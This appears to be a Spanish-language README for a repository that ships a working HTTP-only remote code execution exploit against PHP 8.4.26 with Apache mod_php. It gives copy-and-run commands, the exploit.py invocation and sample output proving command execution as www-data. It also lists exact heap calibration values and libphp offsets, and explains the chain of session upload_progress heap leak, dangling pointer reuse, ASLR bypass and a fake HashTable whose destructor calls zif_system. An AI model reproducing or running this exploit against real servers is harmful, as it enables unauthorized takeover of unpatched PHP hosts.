
Exploit puramente HTTP que logra RCE en PHP 8.4.26 + Apache mod_php mediante una fuga de heap en session upload_progress, reutilización de puntero colgante y omisión de ASLR para llamar a zif_system.
中文 | English
Bajo las restricciones de "completamente remoto, solo HTTP, la página objetivo no tiene session_start() y no se escribe ningún PHP en el lado objetivo", lograr RCE en PHP 8.4.26 + Apache prefork + mod_php con un único exploit.py. La imagen oficial php:8.4.26-apache ya ha sido probada con éxito 3/3 en un solo paso (PROOF: uid=33(www-data)...). La versión actual requiere display_errors=1; con display_errors=0 ya se ha logrado la fuga de heap por HTTP puro, el RCE completo se enviará más adelante.
A continuación se muestran los comandos completos desde cero hasta el RCE; basta con copiar y ejecutar todo el bloque. Este repositorio no compila PHP/Apache, no hay docker build: el entorno es simplemente la imagen oficial php:8.4.26-apache más los montajes de configuración bajo docker/.
# 依赖:Docker Engine/Desktop + Docker Compose v2 + Python 3.9+
git clone https://github.com/9bie/php2shell-bypass-aslr-exp.git
cd php2shell-bypass-aslr-exp
# 1) 拉官方镜像(PHP 8.4.26 / Debian 12 / Apache prefork)
docker compose -f docker/docker-compose.yml pull
# 2) 起目标:单 worker、display_errors=On、memory_limit=8M
docker compose -f docker/docker-compose.yml up -d
# 3) 等 Apache 就绪并确认普通页面
for i in $(seq 1 20); do
curl -fsS http://127.0.0.1:8088/index.php >/dev/null 2>&1 && break
sleep 0.5
done
curl -s http://127.0.0.1:8088/index.php # OK
# 4) 一条命令完成整个利用;首次运行会自动读取 libphp 偏移
python3 exploit.py -u http://127.0.0.1:8088/index.php
# PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Si ya estás dentro del directorio del repositorio, omite
git clone/cd;pulltambién se puede omitir,up -ddescargará la imagen automáticamente.
exploit.py realiza automáticamente la rotación de workers, la fuga en dos fases, la ejecución de zif_system y la lectura del proof, con reintentos integrados en cada fase. Entorno de ejecución:
| Componente | Versión | Origen |
|---|---|---|
| PHP | 8.4.26 (NTS, mod_php) | php:8.4.26-apache |
| Sistema base | Debian 12 (bookworm) | Igual que arriba |
| Apache | 2.4.69 (paquete de Debian 12 dentro de la imagen oficial, verificado) | Igual que arriba |
| MPM | prefork, un solo worker | docker/apache.conf |
| Apache en el informe de lab | 2.4.68 (compilado originalmente en el lab, --profile lab) | Si se requiere coincidencia exacta, usar el tag 2.4.68 de apache/httpd |
Repositorio oficial de imágenes: docker-library/php (Docker Hub: php:8.4.26-apache); código fuente de PHP: php/php-src (tag php-8.4.26).
La primera ejecución ejecuta automáticamente docker/offsets.py: lee los desplazamientos reales de zif_system / zval_ptr_dtor desde libphp.so dentro del contenedor y los escribe en out/offsets.env; exploit.py los carga automáticamente, por lo que no es necesario modificar los desplazamientos manualmente tras cambiar la imagen oficial o actualizar. El comando predeterminado es id>/out/p1 (10 bytes); el /out dentro del contenedor se monta en el ./out del repositorio, y el proof se genera directamente en la máquina local:
[*] target http://127.0.0.1:8088/index.php (cmd='id>/out/p1')
[*] no offsets file; reading libphp symbols from container php2shell-target
zif_system 0x...
zval_ptr_dtor 0x...
[+] chunk base = 0x...
[+] libphp base = 0x...
[*] stage 3: HTDATA=0x... ZIF=0x...
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
El límite de comandos en el payload es de 14 bytes. Para ejecutar comandos arbitrarios, escribe el script en el directorio montado y luego ejecútalo con sh</out/c (8 bytes):
printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'sh</out/c'
Parámetros habituales: --profile, --cmd, --proof-file, --fetch, --zif-offset, --dtor-offset, --htdata-offset, --no-pre-rotate, --retries. El perfil predeterminado es bookworm (imagen oficial); la compilación original del lab usa --profile lab. --offsets-file '' permite desactivar la lectura automática; cuando el nombre del contenedor no es php2shell-target, se especifica con --docker-container.
La calibración del heap de bookworm ya está integrada: número de fillers de stage1 841; array objetivo de stage2 406, longitud del valor de los elementos 16; stage3 HTDATA=chunk+0x690d8, el pad de A es 6×(31,31), y además lleva un Cookie: PHPSESSID válido de 32 caracteres, lo que hace que B reutilice el stale id (send_cookie=0), evitando que la cabecera Set-Cookie de la sesión sobrescriba val.type en R0+16; B usa un carrier de 15B para sobrescribir val.value de la reference. Los offsets de libphp de la imagen oficial se leen automáticamente como zif_system=0x465370, zval_ptr_dtor=0x65eb60; el lab original usa 0x43a870 / 0x613c50.
La superficie de vulnerabilidad es la inicialización de sesión que session.upload_progress desencadena antes de RINIT, así como el puntero colgante que persiste entre peticiones tras el bailout por OOM. A continuación se toma como ejemplo la compilación de laboratorio; los valores de calibración de bookworm de la imagen oficial se encuentran al final del exp.
Todo el tráfico de ataque de la cadena completa es HTTP multipart normal, y la página objetivo solo contiene <?php echo "OK\n"; ?>:
Rotación de workers: tras A_bigfields (campo POST vivo de 3MB + OOM de 12MB) le sigue inmediatamente un B que inicializa la sesión, el hijo sale con SIGABRT; el nuevo worker creado por fork desde el prefork hereda las mismas asignaciones de libphp/chunk.
Fuga de heap: A usa 1001 campos para disparar la advertencia de max_input_vars (display_errors=On → headers_sent=1), PHPSESSID=\x00 genera un nuevo id y establece send_cookie=1, el último campo de 12MB provoca OOM dentro de php_session_initialize(), PS(http_session_vars) queda colgante. B reocupa la referencia antigua con un búfer de valor raw multipart de 56B, y usa un zend_string vivo de 192B para alojar la fake HashTable; la lectura fuera de límites de php_url_encode() escribe punteros de chunk del Zend MM en Set-Cookie (4096B, 98 punteros).
Fuga de libphp: A coloca el PS(id) colgante en chunk+0xb7400; la página HashTable de 56B de B hace que ZSTR_LEN(PS(id)) lea nTableSize=16, y el área de datos es exactamente nNextFreeElement|pDestructor; pDestructor = ZVAL_PTR_DTOR = libphp+0x613c50, se extrae la base de libphp desde Set-Cookie.
Ejecución de comandos: A usa 6 pads para fijar la referencia colgante en R0=chunk+0x24e0; B sobrescribe R0-0x10 con un búfer raw de 55B, la fake HashTable se coloca en la cadena viva de 167B en chunk+0x6e0d8, pDestructor = zif_system = libphp+0x43a870. Cadena de activación:
php_session_track_init()
zval_ptr_dtor(PS(http_session_vars))
zend_reference_destroy(R0)
zval_ptr_dtor(&ref->val) # IS_ARRAY_EX
zend_array_destroy(fake HT)
zend_hash_destroy(fake HT)
pDestructor(&bucket->val) # zif_system
El terminal solo utiliza zif_system dentro de libphp, no necesita libc.